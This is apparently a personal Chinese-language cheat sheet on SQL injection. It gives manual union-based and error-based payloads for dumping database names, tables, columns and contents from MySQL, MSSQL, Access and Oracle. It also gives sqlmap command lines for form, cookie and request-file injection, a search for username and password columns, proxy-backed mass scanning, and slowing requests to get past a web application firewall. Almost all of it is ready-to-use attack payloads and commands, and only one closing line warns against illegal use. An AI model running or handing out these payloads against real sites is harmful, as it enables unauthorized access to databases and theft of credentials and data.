後續會整理
還有很多都沒弄上來
手工
一切有數據互交的地方都可能存在注入
包括但不限於url(如header頭)
判斷注入:另行百度
and (select count() from sysobjects) >0 MSSQL
and (select count() from msysobjects) >0 ACCESS
order by 判斷表長
如 3
union select 1,2,3
union select null,nul,null
在null位置上一個個改,看那個有回顯
mysql數據庫
and 1=2 union select 1,group_concat(schema_name),3 from information_schema.schemata //爆庫
不用 and 1=2 也可以 但要有一個條件爲假
如id=-1 union select。。。。
相對於上面那種 我更喜歡下面這種寫法
-1 union select 1,(select group_concat(schema_name) from information_schema.schemata),database()
爆表
-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3
爆字段(注意 ‘ ’)
-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='news'),3
爆數據
-1 union select 1,(select group_concat(title,0x3a,content) from news),3 //0x3a分割用 可以不寫
如果是同站點的其他數據庫 可以用下面那種方式
還有 where 後面的數據庫名稱、表名等一般用hex編碼
oracle:
exists(select count(*) from 表) 爆表
exists(select 字段 from manage) 列字段
exists(ord(mid(select 字段 from manage,第幾個字符,1))>99) dump數據
======================================================
常用的報錯語句
and (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)
and 1=updatexml(1,concat(0x7e,(select database())),1)
and 1=extractvalue(1,concat(0x7e,(select database())))
mssql
在msmql(sql server)加xtype=‘u’ 獲取用戶名
post型注入
sqlmap:
sqlmap -u url --from
跑表單參數
sqlmap -u url --data “username=admiin&passwd=123”
跑包
sqlmap -r 路徑/文件名 //當前路徑的話,直接文件名就好
如:
sqlmap -r 1 --level 3 --time-sec 10 --random-agent --batch
cookie
sqlmap -u url --cookie “id=1” --level 2
自己搭建的頁面 注入後可以得到一個authkey 然後自己搭建一個網站 把網站裏面的authkey改成得到的那個 然後到sqlmap裏面跑 自己搭建的那網站起一箇中轉的作用 就是對本地網站進行注入 它會把注入語句轉發到目標網站
下面常用
對了
多參數的時候 加 * 告訴sqlmap注入點在哪
如:
sqlmap -u “url/1.php?id=1*&num=1”
國內一般是 php+mysql 國外一般是php+postgresql
sqlmap參數高級用法
簡單的自行百度
–safe-url / –safe-freq
遇到坑爹大佬 一堆數據庫無數張表的時候
–search 值得你擁有
如知道數據庫
-D 數據庫 --search -C “username,password”
不知道數據庫就去掉-D 這樣就查找所有的數據庫
檢測和盲注階段會產生大量失敗請求,服務器端可能因此銷燬session
每發送–safe-freq次注入請求後,發送一次正常請求
–is-dba 判斷是不是管理員權限
前面4條命令要數據庫的管理員權限才能列 第5條第一個參數是列架構 第二個是默認執行(不會彈出讓你確認什麼鬼)第三個不用列系統數據庫
如 -v 3 就是查看payload
level就不用再說了
掃描多個目標
要掛上代理 能夠訪問谷歌的 相當於邊採集邊注入
代理格式
- -proxy http:url:port
(減號之間沒有空格 這裏只是爲了方便閱讀)
針對多個參數的 指定參數分割符號的
這是指發包的時間 對於安全狗而言 你1秒發包太多會攔截 這時就可以降低發包效率就好了
-p 可以指定探測的參數
如
-p “id,user-agent”
二階注入 碰運氣
ps:註冊表最好別動
要知道腳本語言、路徑
切勿利用該技術違法